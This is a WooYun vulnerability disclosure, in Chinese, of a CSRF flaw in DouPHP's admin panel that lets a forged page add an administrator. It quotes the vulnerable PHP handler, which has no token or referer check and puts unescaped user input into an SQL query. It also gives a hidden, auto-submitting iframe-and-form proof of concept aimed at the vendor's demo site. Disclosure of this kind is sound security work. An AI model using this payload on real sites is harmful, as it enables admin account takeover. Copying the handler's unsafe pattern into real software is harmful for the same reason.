当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065836

漏洞标题:DouPHP轻量级企业建站系统CSRF添加管理员

相关厂商:douco.com

漏洞作者: Pany自留地

提交时间:2014-06-23 18:52

修复时间:2014-09-21 18:54

公开时间:2014-09-21 18:54

漏洞类型:CSRF

危害等级:低

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-23: 细节已通知厂商并且等待厂商处理中
2014-06-26: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向第三方安全合作伙伴开放
2014-08-20: 细节向核心白帽子及相关领域专家公开
2014-08-30: 细节向普通白帽子公开
2014-09-09: 细节向实习白帽子公开
2014-09-21: 细节向公众公开

简要描述:

版本:官网最新版本

详细说明:

http://douco.com/
官网的demo测试。http://demo.douco.com/
没有验证token,也没有验证referer,所以造成了csrf
漏洞文件 admin/manage.php
第84行-121行

elseif ($_REQUEST['rec'] == 'insert')
{
if (!$_POST['user_name'])
{
$dou->dou_msg($_LANG['manager_username_empty']);
}
elseif (!$check->is_username($_POST['user_name']))
{
$dou->dou_msg($_LANG['manager_username_range']);
}
elseif (!$_POST['password'])
{
$dou->dou_msg($_LANG['manager_password_empty']);
}
elseif (!$check->is_password($_POST['password']))
{
$dou->dou_msg($_LANG['manager_password_range']);
}
elseif (!$_POST['password_confirm'])
{
$dou->dou_msg($_LANG['manager_password_confirm_empty']);
}
elseif ($_POST['password'] != $_POST['password_confirm'])
{
$dou->dou_msg($_LANG['manager_password_confirm_wrong']);
}
$password = md5($_POST[password]);
$add_time = time();
$sql = "INSERT INTO " . $dou->table('admin') . " (user_id, user_name, password, action_list, add_time)" .
" VALUES (NULL, '$_POST[user_name]', '$password', 'ADMIN', '$add_time')";
$dou->query($sql);
$dou->create_admin_log($_LANG['manager_add'] . ": " . $_POST[user_name]);
$dou->dou_msg($_LANG['manager_add_succes'], 'manager.php');
}


伪造正常页面,让管理员访问,存在留言板为沟通提供了方便。
<IFRAME src="./x.html" WIDTH=0 HEIGHT=0></IFRAME>
x.html为我们惊心制作的csrf.采用POST方式添加.
POC:

<div style="display:none">
<form action="http://demo.douco.com/admin/manager.php?rec=insert" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="user_name" value=""/>
<input type="hidden" name="password" value=""/>
<input type="hidden" name="password_confirm" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.user_name.value="evisslsayx";
t.password.value="evilsay";
t.password_confirm.value="evilsay";
document.poc.submit();
</script>
</div>


t01069dc3fd6be8961a.png

漏洞证明:

POC:

<div style="display:none">
<form action="http://demo.douco.com/admin/manager.php?rec=insert" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="user_name" value=""/>
<input type="hidden" name="password" value=""/>
<input type="hidden" name="password_confirm" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.user_name.value="evisslsayx";
t.password.value="evilsay";
t.password_confirm.value="evilsay";
document.poc.submit();
</script>
</div>


t01069dc3fd6be8961a.png

修复方案:

没有验证token,也没有验证referer,所以造成了csrf
你懂得

版权声明:转载请注明来源 Pany自留地@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2014-06-26 20:09

厂商回复:

已经修正,谢谢反馈

最新状态:

暂无